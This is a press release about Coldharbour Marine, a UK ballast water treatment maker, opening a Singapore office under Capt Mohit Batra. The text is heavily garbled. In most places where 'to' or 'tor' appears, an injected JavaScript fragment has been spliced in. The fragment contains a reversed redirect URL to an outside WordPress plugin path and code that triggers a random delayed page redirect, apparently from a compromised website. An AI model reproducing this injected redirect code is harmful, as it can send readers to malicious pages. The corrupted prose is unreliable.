UK-based Coldharbour Marine, a manufacturer of ballast water treatment systems (BWTS) based on unique inert gas technology, has opened a new office in Singapore and appointed Capt Mohit Batra, a master mariner with an MBA from Oxford University, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to lead its planned expansion intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Asian market.
Capt Batra, Managing Directoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor of Coldharbour Asia has extensive experience of the shipping sectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor gained over more than two decades. He has held several senior positions ashore including spells with classification society ABS and marine technology company Wärtsilä. He has also been involved in international business development, marketing and sales, implementing effective supply chain strategies and consulting on merger and acquisition activities.
Andrew Marshall, Coldharbour Marine’s Chief Executive, commented on Capt Batra’s appointment and the new Singapore office. “Having a hub in Asia has always been a key part of our development strategy and I believe we have found just the right man toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to head our operation in this important market. Mohit has an unusual combination of seagoing and shore management experience and will bring these strong capabilities toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to our operations in Asia.”
Capt Batra explained the company’s strategy: “We have timed the new Singapore set-up in advance of being awarded US Coast Guard type approval which we expect toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to receive in 2019. And it is next year that we expect the ballast water treatment installation market toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to take off strongly. This is particularly the case in our specific target markets which include large tankers, big bulk carriers and LNG vessels.
“We have identified a large number of ships in these sectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors for which owners will need toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to plan system installations from 2019 onwards. Many of these retrofit projects will be undertaken in Chinese shipyards, whilst we will also be supplying treatment systems for new ships under construction at yards across Asia.”
Capt Batra, a highly respected figure in the marine industry, particularly in Asia, stressed the importance of Singapore as a location. “Apart from the obvious benefits of operating from this important maritime hub with its excellent international connections, we will be working closely with many ship operatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors and management companies which have chosen Singapore as their Asian base,” he said. “We will also be establishing close links with the Chinese shipyards where many of the large vessels in our target market are likely toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be retrofitted. From here, we will be ideally placed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to coordinate and support ballast water system installations on both existing ships and newbuildings.
“I am very excited toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have joined the Coldharbour team and look forward toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to developing the company’s business across the Asian region,” he said.
The system is fully type-approved by IMO, with testing undertaken by both the UK’s Maritime and Coastguard Agency and Lloyd’s Register. It also has US Coast Guard Alternate Management Systems acceptance and is currently undergoing the full US Coast Guard type approval process.